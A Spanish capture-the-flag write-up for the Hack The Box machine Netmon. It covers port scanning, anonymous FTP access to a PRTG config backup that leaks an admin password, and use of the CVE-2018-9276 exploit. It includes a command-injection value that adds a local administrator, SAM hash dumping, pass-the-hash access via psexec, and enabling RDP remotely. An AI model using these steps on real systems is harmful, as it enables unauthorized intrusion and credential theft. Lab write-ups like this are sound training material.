Netmon - Hack The Box
Esta es una máquina fácil que usa Windows, en la cual vamos a vulnerar el servicio SMB que está abierto en uno de los puertos a través de la enumeración del servicio FTP y de una vulnerabilidad en el servicio PRTG Network Monitor que nos permite inyectar código en dicho servicio, lo que nos va a permitir crear un usuario con privilegios de administrador siendo de esta forma en la que escalamos privilegios.
Herramientas utilizadas:
- ping
- nmap
- whatweb
- ftp
- crackmapexec
- evil-winrm
- psexec
- xfreerdp
- remmina
Índice
- Recopilación de Información
- Análisis de Vulnerabilidades
- Analizando Servicio HTTP
- Información Útil del Servicio PRTG Network Monitor
- Enumeración Servicio FTP
- Explotación de Vulnerabilidades
- Post Explotación
- Buscando y Analizando Exploit
- Probando Exploit: PRTG Network Monitor 18.2.38 - (Authenticated) Remote Code Execution
- Probando Exploit: PRTG Network Monitor 18.2.38 - (Authenticated) Remote Code Execution - Versión Blog
- Accediendo a la Máquina como Administrador
- Obteniendo Información Extra y Otras Formas de Acceder a la Máquina
- Links de Investigación
Recopilación de Información
Traza ICMP
Realizamos un ping para saber si la máquina está conectada y para saber qué sistema operativo tiene, analizando el TTL.
ping -c 4 10.10.10.152
PING 10.10.10.152 (10.10.10.152) 56(84) bytes of data.
64 bytes from 10.10.10.152: icmp_seq=1 ttl=127 time=129 ms
64 bytes from 10.10.10.152: icmp_seq=2 ttl=127 time=128 ms
64 bytes from 10.10.10.152: icmp_seq=3 ttl=127 time=129 ms
64 bytes from 10.10.10.152: icmp_seq=4 ttl=127 time=132 ms
--- 10.10.10.152 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3012ms
rtt min/avg/max/mdev = 128.379/129.681/131.953/1.365 ms
Observamos que es una máquina Windows gracias al TLL. Ahora analicemos los puertos y servicios.
Escaneo de Puertos
Hacemos un escaneo de puertos para saber cuáles están abiertos y asi poder analizar los servicios que operan en estos:
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.152 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-16 13:32 CST
Initiating SYN Stealth Scan at 13:32
Scanning 10.10.10.152 [65535 ports]
Discovered open port 139/tcp on 10.10.10.152
Discovered open port 80/tcp on 10.10.10.152
Discovered open port 21/tcp on 10.10.10.152
Discovered open port 445/tcp on 10.10.10.152
Discovered open port 135/tcp on 10.10.10.152
Completed SYN Stealth Scan at 13:33, 27.19s elapsed (65535 total ports)
Nmap scan report for 10.10.10.152
Host is up, received user-set (1.3s latency).
Scanned at 2023-01-16 13:32:46 CST for 27s
Not shown: 55540 filtered tcp ports (no-response), 9990 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 127
80/tcp open http syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 27.44 seconds
Raw packets sent: 126822 (5.580MB) | Rcvd: 10051 (402.100KB)
Parámetros | Descripción |
---|---|
-p- | Para indicarle un escaneo en ciertos puertos. |
–open | Para indicar que aplique el escaneo en los puertos abiertos. |
-sS | Para indicar un TCP Syn Port Scan para que nos agilice el escaneo. |
–min-rate | Para indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000). |
-vvv | Para indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo. |
-n | Para indicar que no se aplique resolución dns para agilizar el escaneo. |
-Pn | Para indicar que se omita el descubrimiento de hosts. |
-oG | Para indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts. |
Vemos varios puertos abiertos siendo el FTP, Web y SMB. Ahora vamos a analizar los servicios que hay en estos puertos.
Escaneo de Servicios
Una vez realizado el escaneo de puertos, hacemos un escaneo de servicios. Veamos con que nos encontramos:
nmap -sC -sV -p21,80,135,139,445 10.10.10.152 -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-16 13:34 CST
Nmap scan report for 10.10.10.152
Host is up (0.13s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-03-19 12:18AM 1024 .rnd
| 02-25-19 10:15PM <DIR> inetpub
| 07-16-16 09:18AM <DIR> PerfLogs
| 02-25-19 10:56PM <DIR> Program Files
| 02-03-19 12:28AM <DIR> Program Files (x86)
| 02-03-19 08:08AM <DIR> Users
|_02-25-19 11:49PM <DIR> Windows
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
|_http-trane-info: Problem with XML parsing of /evox/about
| http-title: Welcome | PRTG Network Monitor (NETMON)
|_Requested resource was /index.htm
|_http-server-header: PRTG/18.1.37.13946
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-01-16T19:34:28
|_ start_date: 2023-01-16T19:30:07
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 2s, deviation: 0s, median: 2s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.51 seconds
Parámetros | Descripción |
---|---|
-sC | Para indicar un lanzamiento de scripts básicos de reconocimiento. |
-sV | Para identificar los servicios/versión que están activos en los puertos que se analicen. |
-p | Para indicar puertos específicos. |
-oN | Para indicar que el output se guarde en un fichero. Lo llame targeted. |
Observamos que el servicio FTP tiene activo el login como Anonymous por lo que podemos empezar por ahí nuestra búsqueda de acceso a la máquina, también vemos el servicio SMB activo que podemos analizar después y por último vemos un servicio web abierto que podemos analizar a continuación.
Análisis de Vulnerabilidades
Analizando Servicio HTTP
Vamos a analizar la página web abierta antes de ir al serivico FTP, usaremos la herramienta whatweb para esto:
http://10.10.10.152/ [302 Found] Country[RESERVED][ZZ], HTTPServer[PRTG/18.1.37.13946], IP[10.10.10.152], PRTG-Network-Monitor[18.1.37.13946,PRTG], RedirectLocation[/index.htm], UncommonHeaders[x-content-type-options], X-XSS-Protection[1; mode=block]
ERROR Opening: http://10.10.10.152/index.htm - incorrect header check
Nos da un curioso error, una vez que entramos a la página web vemos el servicio que está usando, PRTG Network Monitor (Netmon)
¿Pero que chuchas es este servicio?
PRTG Network Monitor |
---|
PRTG es un software de monitoreo de red sin agentes de Paessler AG. El término general Paessler PRTG aúna varias versiones de software capaces de monitorizar y clasificar diferentes condiciones del sistema, como el uso del ancho de banda o el tiempo de actividad, y recopilar estadísticas de diversos anfitriones como switches, routers, servidores y otros dispositivos y aplicaciones. |
Osease que monitorea redes, esto es bastante útil así que investiguemos un poco más.
Algo que podemos investigar, es donde se guarda las carpetas de instalación de este programa, puede que ahí se almacenen contraseñas o información critica que podamos usar.
Información Útil del Servicio PRTG Network Monitor
Directorio de Programas | Directorio de Datos |
---|---|
Sistemas de 32 bits: % archivos de programa% \ PRTG Network Monitor | % programdata% \ Paessler \ PRTG Network Monitor -> Almacenamiento de datos |
Sistemas de 64 bits: % archivos de programa (x86)% \ PRTG Network Monitor |
Para encontrar el camino correcto para la instalación de PRTG, por favor búsquelo en las propiedades de los iconos de PRTG el menú de inicio. Nota: Windows ProgramData está oculta por defecto.
Ojito con lo siguiente, los siguientes archivos se almacenan en el directorio de datos de PRTG:
Archivos Críticos en Directorio de Datos | Descripción |
---|---|
PRTG Configuration.dat | Configuración de monitoreo (por ejemplo, sondas, grupos, dispositivos, sensores, usuarios, mapas, informes y más) |
Configuración de PRTG.old | Copia de seguridad de la versión anterior de la configuración de monitoreo |
Aquí podemos ver más información:
Tenemos mucha información crítica, el problema es ver si podemos revisar los archivos de la máquina, probemos primero con el servicio FTP y si no encontramos nada, investigaremos el servicio SMB.
Enumeración Servicio FTP
De acuerdo al escaneo de servicios, el servicio FTP tiene activo el usuario anonymous, para entrar es tan simple como usar el usuario anonymous y poner una contraseña cualquiera:
ftp 10.10.10.152
Connected to 10.10.10.152.
220 Microsoft FTP Service
Name (10.10.10.152:berserkwings): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
Bien, una vez dentro, vamos a investigar que hay:
ftp> ls
229 Entering Extended Passive Mode (|||50290|)
125 Data connection already open; Transfer starting.
02-03-19 12:18AM 1024 .rnd
02-25-19 10:15PM <DIR> inetpub
07-16-16 09:18AM <DIR> PerfLogs
02-25-19 10:56PM <DIR> Program Files
02-03-19 12:28AM <DIR> Program Files (x86)
02-03-19 08:08AM <DIR> Users
02-25-19 11:49PM <DIR> Windows
226 Transfer complete.
ftp> cd Users
250 CWD command successful.
ftp> ls
229 Entering Extended Passive Mode (|||50292|)
125 Data connection already open; Transfer starting.
02-25-19 11:44PM <DIR> Administrator
02-03-19 12:35AM <DIR> Public
226 Transfer complete.
Vemos que si hay datos de la máquina, es decir, que el servicio FTP no esta correctamente configurado. Si te fijas en los usuarios se pueden ver 2 usuarios, no creo que podamos entrar al administrador, pero al Public sí que podremos:
ftp> cd Public
250 CWD command successful.
ftp> ls
229 Entering Extended Passive Mode (|||50294|)
150 Opening ASCII mode data connection.
02-03-19 08:05AM <DIR> Documents
07-16-16 09:18AM <DIR> Downloads
07-16-16 09:18AM <DIR> Music
07-16-16 09:18AM <DIR> Pictures
03-20-23 03:30PM 34 user.txt
07-16-16 09:18AM <DIR> Videos
226 Transfer complete.
Vaya, vaya. Tan solo descargamos el archivo con el comando get y ya lo podremos leer. ¿Pero entonces como accedemos como root? Ya tenemos algunas pistas sobre donde buscar archivos que nos sean útiles para acceder a la página y podamos buscar un exploit para entrar a la máquina.
Empecemos a explotar las vulnerabilidades.
Explotación de Vulnerabilidades
Buscando Archivos Críticos de PRTG en Servicio FTP
Muy bien, ahora sabemos que podemos buscar dentro del servicio FTP para no estar dando tantas vueltas o buscando cosas que no sirven.
ftp> ls -la
229 Entering Extended Passive Mode (|||50613|)
125 Data connection already open; Transfer starting.
11-20-16 10:46PM <DIR> $RECYCLE.BIN
02-03-19 12:18AM 1024 .rnd
11-20-16 09:59PM 389408 bootmgr
07-16-16 09:10AM 1 BOOTNXT
02-03-19 08:05AM <DIR> Documents and Settings
02-25-19 10:15PM <DIR> inetpub
03-20-23 03:30PM 738197504 pagefile.sys
07-16-16 09:18AM <DIR> PerfLogs
02-25-19 10:56PM <DIR> Program Files
02-03-19 12:28AM <DIR> Program Files (x86)
12-15-21 10:40AM <DIR> ProgramData
02-03-19 08:05AM <DIR> Recovery
02-03-19 08:04AM <DIR> System Volume Information
02-03-19 08:08AM <DIR> Users
02-25-19 11:49PM <DIR> Windows
226 Transfer complete.
ftp> cd ProgramData
250 CWD command successful.
ftp> ls
229 Entering Extended Passive Mode (|||50615|)
125 Data connection already open; Transfer starting.
12-15-21 10:40AM <DIR> Corefig
02-03-19 12:15AM <DIR> Licenses
11-20-16 10:36PM <DIR> Microsoft
02-03-19 12:18AM <DIR> Paessler
02-03-19 08:05AM <DIR> regid.1991-06.com.microsoft
07-16-16 09:18AM <DIR> SoftwareDistribution
02-03-19 12:15AM <DIR> TEMP
11-20-16 10:19PM <DIR> USOPrivate
11-20-16 10:19PM <DIR> USOShared
02-25-19 10:56PM <DIR> VMware
226 Transfer complete.
ftp> cd Paessler
250 CWD command successful.
ftp> ls
229 Entering Extended Passive Mode (|||50619|)
150 Opening ASCII mode data connection.
03-20-23 04:12PM <DIR> PRTG Network Monitor
226 Transfer complete.
ftp> cd PRTG\ Network\ Monitor
250 CWD command successful.
Una vez dentro de la carpeta donde están los archivos ocultos, descargamos él .dat, él .old y él old.bak, como investigamos anteriormente, sabemos que él .dat y él .old son lo mismo, siendo que el .old es un BackUp del .dat, así que descargaremos únicamente los .dat y él .old.bak. Lo que buscamos es ver si estos archivos contienen un usuario y contraseña que nos permitan acceder a la página.
Analizando Contenido Descargado del Servicio FTP
Ahora toca analizar los archivos que descargamos, recuerda que buscamos un usuario y contraseña para poder acceder a la página web.
cat PRTG\ Configuration.dat
<?xml version="1.0" encoding="UTF-8"?>
<root version="16" oct="PRTG Network Monitor 18.1.37.13946" saved="2/26/2019 2:54:23 AM" max="2017" guid="{221B25D6-9282-418B-8364-F59561032EE3}" treeversion="0" created="2019-02-02-23-18-27" trial="42f234beedd545338910317db1fca74dbe84030f">
<statistics time="26-02-2019 02:50:23">
<statistic name="State Changes">
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,34,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,36,3
</statistic>
<statistic name="Reports Generated">
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
</statistic>
...
...
...
Al hacer un cat al archivo .dat vemos que hay demasiados datos por lo que hay que analizarlos de otra forma, ya que si vemos él .old.bak será lo mismo, demasiados datos. Vamos a usar el comando diff para ver las diferencias, junto con el comando less para ver el output como una página e ir viendo poco a poco toda la información, con el fin de ver si hay alguna diferencia entre estos dos archivos:
diff "PRTG Configuration.dat" "PRTG Configuration.old.bak" | less
Y vemos este resultado:
> <geostat day="03-02-2019"/>
144,146c141,142
< <flags>
< <encrypted/>
< </flags>
---
> <!-- User: prtgadmin -->
> PrTg@dmin2018
317c313
< 77RULO2GA4Q3RVEUZ77IMPLVKABRRS2UNR3Q====
Ahí estan nuestro usuario y contraseña que necesitamos, ahora vamos a autenticarnos, PERO recuerda que este es un archivo antiguo, por lo que la contraseña puede que no sea correcta, trata de sumarle un año más a la contraseña para que puedas acceder:
Post Explotación
Buscando y Analizando Exploit
Una vez dentro, ya podemos buscar un Exploit que nos sirva porque ya tenemos la versión que esta usando el servicio PRGT:
searchsploit prtg
------------------------------------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------ ---------------------------------
PRTG Network Monitor 18.2.38 - (Authenticated) Remote Code Execution | windows/webapps/46527.sh
PRTG Network Monitor 20.4.63.1412 - 'maps' Stored XSS | windows/webapps/49156.txt
PRTG Network Monitor < 18.1.39.1648 - Stack Overflow (Denial of Service) | windows_x86/dos/44500.py
PRTG Traffic Grapher 6.2.1 - 'url' Cross-Site Scripting | java/webapps/34108.txt
------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
Papers: No Results
Vamos a analizar este Exploit: PRTG Network Monitor 18.2.38 - (Authenticated) Remote Code Execution.
./Remote_Code_Execution.sh
[+]#########################################################################[+]
[*] Authenticated PRTG network Monitor remote code execution [*]
[+]#########################################################################[+]
[*] Date: 11/03/2019 [*]
[+]#########################################################################[+]
[*] Author: https://github.com/M4LV0 lorn3m4lvo@protonmail.com [*]
[+]#########################################################################[+]
[*] Vendor Homepage: https://www.paessler.com/prtg [*]
[*] Version: 18.2.38 [*]
[*] CVE: CVE-2018-9276 [*]
[*] Reference: https://www.codewatch.org/blog/?p=453 [*]
[+]#########################################################################[+]
# login to the app, default creds are prtgadmin/prtgadmin. once athenticated grab your cookie and use it with the script.
# run the script to create a new user 'pentest' in the administrators group with password 'P3nT3st!'
[+]#########################################################################[+]
EXAMPLE USAGE: ./prtg-exploit.sh -u http://10.10.10.10 -c "_ga=GA1.4.XXXXXXX.XXXXXXXX; _gid=GA1.4.XXXXXXXXXX.XXXXXXXXXXXX; OCTOPUS1813713946=XXXXXXXXXXXXXXXXXXXXXXXXXXXXX; _gat=1"
El Exploit nos pide unas cookies, que podemos ver si inspeccionamos la página web y nos vamos a la sección de storage:
Probando Exploit: PRTG Network Monitor 18.2.38 - (Authenticated) Remote Code Execution
Vamos a ejecutar el programa con las cookies que nos pide:
chmod +x PRTG_exploit.sh
./PRTG_exploit.sh -u http://10.10.10.152 -c "_ga=GA1.4.1030767543.1673826713; _gid=GA1.4.459131971.1709957738; OCTOPUS1813713946=ezFBMkU1OTA4LTMxQ0EtNDg1Qy04NDVCLTI1NDk5ODJBQjBFQ30%3D _gat=1"
[+]#########################################################################[+]
[*] Authenticated PRTG network Monitor remote code execution [*]
[+]#########################################################################[+]
[*] Date: 11/03/2019 [*]
[+]#########################################################################[+]
[*] Author: https://github.com/M4LV0 lorn3m4lvo@protonmail.com [*]
[+]#########################################################################[+]
[*] Vendor Homepage: https://www.paessler.com/prtg [*]
[*] Version: 18.2.38 [*]
[*] CVE: CVE-2018-9276 [*]
[*] Reference: https://www.codewatch.org/blog/?p=453 [*]
[+]#########################################################################[+]
# login to the app, default creds are prtgadmin/prtgadmin. once athenticated grab your cookie and use it with the script.
# run the script to create a new user 'pentest' in the administrators group with password 'P3nT3st!'
[+]#########################################################################[+]
[*] file created
[*] sending notification wait....
[*] adding a new user 'pentest' with password 'P3nT3st'
[*] sending notification wait....
[*] adding a user pentest to the administrators group
[*] sending notification wait....
[*] exploit completed new user 'pentest' with password 'P3nT3st!' created have fun!
Y con esto, se supone que ya deberíamos de haber agregado un usuario y contraseña al grupo de administradores de la máquina víctima, vamos a comprobarlo con la herramienta Crackmapexec:
crackmapexec smb 10.10.10.152 -u 'pentest' -p 'P3nT3st!'
SMB 10.10.10.152 445 NETMON [*] Windows Server 2016 Standard 14393 x64 (name:NETMON) (domain:netmon) (signing:False) (SMBv1:True)
SMB 10.10.10.152 445 NETMON [-] netmon\pentest:P3nT3st! STATUS_LOGON_FAILURE
No dio resultado, es probable que esto sea así por la versión que maneja el Exploit y la que esta usando la máquina, así que vamos a probar de otra manera.
Existe un blog que explica como fue posible vulnerar esta versión del PRTG, incluso viene la referencia del blog en la que se basó el Exploit que acabamos de usar, así que veamos dicho blog y probemos esa forma:
Probando Exploit: PRTG Network Monitor 18.2.38 - (Authenticated) Remote Code Execution - Versión Blog
En resumen, podemos vulnerar la página usando las notificaciones, vamos a hacerlo de este modo:
Nos vamos a la sección de crear nueva notificación:
Llamamos a nuestra notificación HackeadoPrro! y nos vamos a la sección Execute Programs:
Ahí lo que haremos, será casi lo mismo que en el blog, la diferencia va a radicar en que nosotros vamos a agregar el usuario al grupo de administradores, con el fin de poder loguearnos y ser root.
Esto es lo mismo que hace el Exploit, pero nosotros lo vamos a indicar directamente en la inyección a diferencia del Exploit que usa la cookie para hacer esta movida, este será el código que ejecutara:
test.txt;net user BerserkP B3rs3rkP123$! /add; net localgroup Administrators BerserkP /add
Cuando guardemos la notificación, ya estará disponible:
Y simplemente la activamos, una vez activada nos deberá mandar el siguiente mensaje:
Bien ahora para poder ver si ya estamos dentro de dicho grupo, vamos a usar la herramienta crackmapexec:
crackmapexec smb 10.10.10.152 -u 'BerserkP' -p 'B3rs3rkP123$!'
SMB 10.10.10.152 445 NETMON [*] Windows Server 2016 Standard 14393 x64 (name:NETMON) (domain:netmon) (signing:False) (SMBv1:True)
SMB 10.10.10.152 445 NETMON [+] netmon\BerserkP:B3rs3rkP123$! (HackeadoPrro!)
Accediendo a la Máquina como Administrador
Vemos que ya está nuestro usuario, ahora lo que sigue será conectarnos ya directamente, para esto usaremos la herramienta evilWinrm:
evil-winrm -i 10.10.10.152 -u 'BerserkP' -p 'B3rs3rkP123$!'
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\BerserkP\Documents> whoami
netmon\berserkp
Ya solo es cuestión de buscar la flag del root, que siempre está en el escritorio del usuario Administrator y listo.
Obteniendo Información Extra y Otras Formas de Acceder a la Máquina
Una vez que hemos podido agregar nuestras contraseñas al grupo de administradores, podemos aprovechar para obtener los SAM Hashes de todos los admins, esto lo podemos hacer con Crackmapexec de la siguiente manera:
crackmapexec smb 10.10.10.152 -u 'BerserkP' -p 'B3rs3rkP123$!' --sam
SMB 10.10.10.152 445 NETMON [*] Windows Server 2016 Standard 14393 x64 (name:NETMON) (domain:netmon) (signing:False) (SMBv1:True)
SMB 10.10.10.152 445 NETMON [+] netmon\BerserkP:B3rs3rkP123$! (Pwn3d!)
SMB 10.10.10.152 445 NETMON [+] Dumping SAM hashes
SMB 10.10.10.152 445 NETMON Administrator:...:...:...:::
SMB 10.10.10.152 445 NETMON Guest:...:...:...:::
SMB 10.10.10.152 445 NETMON DefaultAccount:...:...:...:::
SMB 10.10.10.152 445 NETMON BerserkP:...:...:...:::
SMB 10.10.10.152 445 NETMON [+] Added 4 SAM hashes to the database
Estos hashes los podemos usar para aplicar un PassTheHash para conectarnos usando otras herramientas, por ejemplo, la herramienta psexec y si estuviera abierto el protocolo RDP, sería con la herramienta xfreerdp, vamos a probar con cada una.
PassTheHash |
---|
En seguridad informática, pasar el hash es una técnica de piratería que permite a un atacante autenticarse en un servidor o servicio remoto utilizando el hash NTLM o LanMan subyacente de la contraseña de un usuario, en lugar de solicitar la contraseña de texto sin formato asociada como suele ser el caso. |
Accediendo a la Máquina con Psexec
Por defecto, deberías tener instalado el psexec.py, buscalo con el comando locate:
locate psexec.py
/usr/local/bin/psexec.py
/usr/share/doc/python3-impacket/examples/psexec.py
En mi caso, voy a copiar el del directorio impacket y lo voy a usar desde donde lo tenga copiado:
cp /usr/share/doc/python3-impacket/examples/psexec.py .
Y ahora, vamos a usarlo, utilizando la parte final del hash perteneciente al usuario administrador:
python3 psexec.py WORKGROUP/Administrator@10.10.10.152 -hashes :d0f7...
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Requesting shares on 10.10.10.152.....
[*] Found writable share ADMIN$
[*] Uploading file AYHbMdFh.exe
[*] Opening SVCManager on 10.10.10.152.....
[*] Creating service Fomi on 10.10.10.152.....
[*] Starting service Fomi.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
Listo, ganamos acceso utilizando la herramienta psexec.py.
Accediendo a la Máquina con xfreerdp - Remmina
Para este caso, vamos a primero levantar el servicio RDP utilizando Crackmapexec, para esto tambien puedes usar el usuario administrador y su hash o tu usuario, queda a tu elección:
crackmapexec smb 10.10.10.152 -u 'BerserkP' -p 'B3rs3rkP123$!' -M rdp -o action=enable
SMB 10.10.10.152 445 NETMON [*] Windows Server 2016 Standard 14393 x64 (name:NETMON) (domain:netmon) (signing:False) (SMBv1:True)
SMB 10.10.10.152 445 NETMON [+] netmon\BerserkP:B3rs3rkP123$! (Pwn3d!)
RDP 10.10.10.152 445 NETMON [+] RDP enabled successfully
E igual, podemos comprobar con nmap, que este servicio ya esta operando en la máquina:
nmap -p 3389 --open -T5 -vvv -n -Pn 10.10.10.152
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) CST
Initiating SYN Stealth Scan at 23:22
Scanning 10.10.10.152 [1 port]
Discovered open port 3389/tcp on 10.10.10.152
Completed SYN Stealth Scan at 23:22, 0.15s elapsed (1 total ports)
Nmap scan report for 10.10.10.152
Host is up, received user-set (0.066s latency).
PORT STATE SERVICE REASON
3389/tcp open ms-wbt-server syn-ack ttl 127
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds
Raw packets sent: 1 (44B) | Rcvd: 1 (44B)
Ahora, usemos la herramienta xfreerdp para conectarnos a la consola:
xfreerdp /u:BerserkP /p:B3rs3rkP123$! /v:10.10.10.152:3389
No nos deja conectarnos, es posible que sea por como esta configurada la máquina en HTB, pero usemos otra herramienta muy similar a xfreerdp que se llama remmina, vamos a instalarla primero:
apt install remmina
Y vamos a ejecutarla:
remmina
Observa que nos pide una IP a la cual conectarnos, usemos la de la máquina:
Ahora, pongamos los datos del usuario, esta vez usare mi usuario, prueba con los demás usuarios que ya obtuvimos antes:
Y listo, nos hemos conectado a la máquina:
Links de Investigación
- https://www.cvedetails.com/cve/CVE-2018-9276/
- https://www.cvedetails.com/vulnerability-list/vendor_id-5034/product_id-35656/Paessler-Prtg-Network-Monitor.html
- https://codewatch.org/2018/06/25/prtg-18-2-39-command-injection-vulnerability/
- https://www.mundodeportivo.com/urbantecno/windows/agrega-un-usuario-al-grupo-de-administradores-local-en-windows-via-comando
- https://www.ngi.es/crackmapexec-post-explotacion-entornos-active-directory/
- https://thehackerway.com/2021/11/04/evil-winrm-shell-sobre-winrm-para-pentesting-en-sistemas-windows-parte-1-de-2/